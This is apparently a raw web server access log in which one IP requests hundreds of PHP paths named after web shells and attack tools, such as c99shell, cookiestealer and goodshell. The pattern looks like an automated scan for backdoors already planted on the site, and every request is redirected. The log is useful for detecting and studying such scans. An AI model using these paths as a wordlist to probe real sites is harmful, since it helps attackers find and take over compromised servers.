196.251.80.56 - - [23/Sep/2025:14:59:43 -0400] "GET /con7.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:45 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:48 -0400] "GET /config_import_word.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:49 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:54 -0400] "GET /configwp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:56 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:57 -0400] "GET /contactf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:00 -0400] "GET /context.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:01 -0400] "GET /contol.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:07 -0400] "GET /cookiestealer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:10 -0400] "GET /covid.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:16 -0400] "GET /cpanelll.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:22 -0400] "GET /crack%20cpanel.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:29 -0400] "GET /cryptopop.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:33 -0400] "GET /cta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:41 -0400] "GET /cutdi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:47 -0400] "GET /cylul.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:49 -0400] "GET /cylulv2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:51 -0400] "GET /cyx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:56 -0400] "GET /dOMAINJB.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:30 -0400] "GET /bysalam.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:34 -0400] "GET /c0w.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:35 -0400] "GET /c3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:44 -0400] "GET /c99shell.png.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:47 -0400] "GET /cache.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:49 -0400] "GET /cachee.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:50 -0400] "GET /cacil.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:58:52 -0400] "GET /calculator.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:01 -0400] "GET /ccp7.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:03 -0400] "GET /cfgrabber.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:04 -0400] "GET /change.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:06 -0400] "GET /check.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:10 -0400] "GET /cihan.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:13 -0400] "GET /circular.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:17 -0400] "GET /class-simple.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:19 -0400] "GET /class.site.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:22 -0400] "GET /clay.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:27 -0400] "GET /clownsec.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:33 -0400] "GET /cobalo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:35 -0400] "GET /cok.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:38 -0400] "GET /coli.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:40 -0400] "GET /colta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:41 -0400] "GET /comix.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:44 -0400] "GET /config.candy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:50 -0400] "GET /configser.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:59:52 -0400] "GET /configss.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:04 -0400] "GET /cook.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:08 -0400] "GET /cot.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:12 -0400] "GET /cp645.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:14 -0400] "GET /cpanel%20(1).php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:18 -0400] "GET /cpreset.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:20 -0400] "GET /cpreset2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:25 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:27 -0400] "GET /cry.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:31 -0400] "GET /csrf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:35 -0400] "GET /cta1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:36 -0400] "GET /ctt.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:39 -0400] "GET /cue.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:43 -0400] "GET /cv.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:44 -0400] "GET /cyberlow.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:52 -0400] "GET /czxuan.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:54 -0400] "GET /d4x22m.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:00:58 -0400] "GET /damn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:01 -0400] "GET /danush.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:03 -0400] "GET /danz.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:13 -0400] "GET /dcs-v2.php HTTP/1.1" 301 795 "-" "-"
206.189.247.132 - - [23/Sep/2025:15:01:15 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.173.29 - - [23/Sep/2025:15:01:15 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:15:01:15 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:15:01:37 -0400] "GET /denii5.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:39 -0400] "GET /dew.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:42 -0400] "GET /dgodm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:46 -0400] "GET /diafragma.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:49 -0400] "GET /diamond.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:51 -0400] "GET /dik.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:54 -0400] "GET /dinda.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:01 -0400] "GET /domain.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:05 -0400] "GET /doqan.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:07 -0400] "GET /dwas.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:12 -0400] "GET /dyx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:15 -0400] "GET /eagel.php.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:17 -0400] "GET /eagle%20(2).php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:26 -0400] "GET /elementor-pro.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:28 -0400] "GET /emre.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:30 -0400] "GET /encoded.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:32 -0400] "GET /encrypted.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:33 -0400] "GET /eror.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:37 -0400] "GET /error303.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:05 -0400] "GET /danz1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:07 -0400] "GET /data-db.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:08 -0400] "GET /date2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:10 -0400] "GET /daun7jari.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:12 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:14 -0400] "GET /dcs.php HTTP/1.1" 301 795 "-" "-"
13.40.72.148 - - [23/Sep/2025:15:01:15 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:15:01:16 -0400] "GET /dd.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:19 -0400] "GET /dddddddddddd.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:20 -0400] "GET /ddr.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:22 -0400] "GET /deface.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:24 -0400] "GET /deface_generator1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:27 -0400] "GET /defalt.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:28 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:30 -0400] "GET /del.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:32 -0400] "GET /delete.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:33 -0400] "GET /denii1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:35 -0400] "GET /denii2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:41 -0400] "GET /dfsh3ll.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:44 -0400] "GET /dhanush.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:48 -0400] "GET /diamond%20(1).php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:53 -0400] "GET /dimailer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:56 -0400] "GET /ditodagantengbangett.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:58 -0400] "GET /do.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:01:59 -0400] "GET /dohela.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:03 -0400] "GET /done.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:10 -0400] "GET /dwashere.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:13 -0400] "GET /dz1kr1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:18 -0400] "GET /eagle.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:20 -0400] "GET /ecncdfnr.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:21 -0400] "GET /econfig.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:23 -0400] "GET /edminishell.php.enc HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:25 -0400] "GET /egel.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:35 -0400] "GET /erorr.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:38 -0400] "GET /erseljouk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:40 -0400] "GET /ersl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:43 -0400] "GET /est.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:45 -0400] "GET /ets.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:46 -0400] "GET /evil.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:47 -0400] "GET /evl.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:48 -0400] "GET /ex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:49 -0400] "GET /exploit.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:51 -0400] "GET /eyangslot.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:52 -0400] "GET /f0xbase.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:56 -0400] "GET /fajar.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:01 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:03 -0400] "GET /fdt.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:05 -0400] "GET /feedceator.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:08 -0400] "GET /fer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:09 -0400] "GET /ferdysimo3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:13 -0400] "GET /fergusonewshell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:15 -0400] "GET /fg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:17 -0400] "GET /fian.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:20 -0400] "GET /fikri.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:21 -0400] "GET /file.jpg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:39 -0400] "GET /fo00x.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:41 -0400] "GET /fok.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:44 -0400] "GET /fonksiyonlar.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:50 -0400] "GET /found.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:59 -0400] "GET /fsociety.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:02 -0400] "GET /fsoxhl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:09 -0400] "GET /fup.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:14 -0400] "GET /fvck.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:16 -0400] "GET /fx-mini.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:19 -0400] "GET /fype.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:22 -0400] "GET /fz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:24 -0400] "GET /g.shtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:33 -0400] "GET /g8f2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:40 -0400] "GET /ganscom.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:45 -0400] "GET /garil2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:47 -0400] "GET /gav.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:51 -0400] "GET /gelay-enc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:05:02 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:05:05 -0400] "GET /ghostbypass.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:05:25 -0400] "GET /govX.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:05:28 -0400] "GET /gsh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:05:30 -0400] "GET /gua_gans.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:05:31 -0400] "GET /gwganz.php7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:05:35 -0400] "GET /hack.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:41 -0400] "GET /es.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:50 -0400] "GET /ey.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:53 -0400] "GET /f4y.jpg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:54 -0400] "GET /fadli_gans.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:55 -0400] "GET /fahmi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:57 -0400] "GET /fakeroot%20(1).php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:02:59 -0400] "GET /faq.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:02 -0400] "GET /fbi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:10 -0400] "GET /fergusodarkbypass.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:25 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:27 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:30 -0400] "GET /fine.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:32 -0400] "GET /fitriiani.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:35 -0400] "GET /fix.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:37 -0400] "GET /flame.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:46 -0400] "GET /fooster-end-class.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:47 -0400] "GET /footerpage.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:53 -0400] "GET /freebet.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:03:56 -0400] "GET /fsh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:05 -0400] "GET /fuck.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:07 -0400] "GET /func.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:12 -0400] "GET /fvck-.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:26 -0400] "GET /g3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:30 -0400] "GET /g8.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:37 -0400] "GET /gadalubau.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:42 -0400] "GET /garda6.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:49 -0400] "GET /gay.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:50 -0400] "GET /gb.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:53 -0400] "GET /gelay.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:54 -0400] "GET /get_flag.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:04:58 -0400] "GET /getfucked.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:05:00 -0400] "GET /gg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:05:09 -0400] "GET /gimshell1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:05:12 -0400] "GET /gm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:05:15 -0400] "GET /goblk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:05:18 -0400] "GET /goo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:05:21 -0400] "GET /goodshell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:05:22 -0400] "GET /goreng.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:05:41 -0400] "GET /haider.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:05:51 -0400] "GET /halooo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:05:59 -0400] "GET /hantukak.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:06:08 -0400] "GET /hayo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:06:12 -0400] "GET /hbd.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:06:22 -0400] "GET /hello.php.jpeg HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:06:23 -0400] "GET /helper.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:05:38 -0400] "GET /haha.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:05:45 -0400] "GET /hakunasec.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:05:47 -0400] "GET /haloomini.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:05:55 -0400] "GET /hamasniper.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:06:04 -0400] "GET /hard.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:06:05 -0400] "GET /hax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:06:16 -0400] "GET /hd.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:06:18 -0400] "GET /heisenbergkater.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:06:25 -0400] "GET /hexid.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:06:26 -0400] "GET /hexid.php7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:06:32 -0400] "GET /hhh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:06:37 -0400] "GET /hi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:06:40 -0400] "GET /hide.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:06:42 -0400] "GET /hide3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:06:58 -0400] "GET /hold.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:07:08 -0400] "GET /ht.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:07:10 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:07:17 -0400] "GET /https.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:07:28 -0400] "GET /huh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:07:36 -0400] "GET /hurt.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:07:42 -0400] "GET /iXi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:07:47 -0400] "GET /ib.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:07:52 -0400] "GET /iblisshell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:08:00 -0400] "GET /ici.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:08:05 -0400] "GET /icomoon.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:08:08 -0400] "GET /icon.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:08:15 -0400] "GET /icotest.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:08:20 -0400] "GET /idn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:08:34 -0400] "GET /ih.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:08:37 -0400] "GET /ijo.php HTTP/1.1" 301 795 "-" "-"
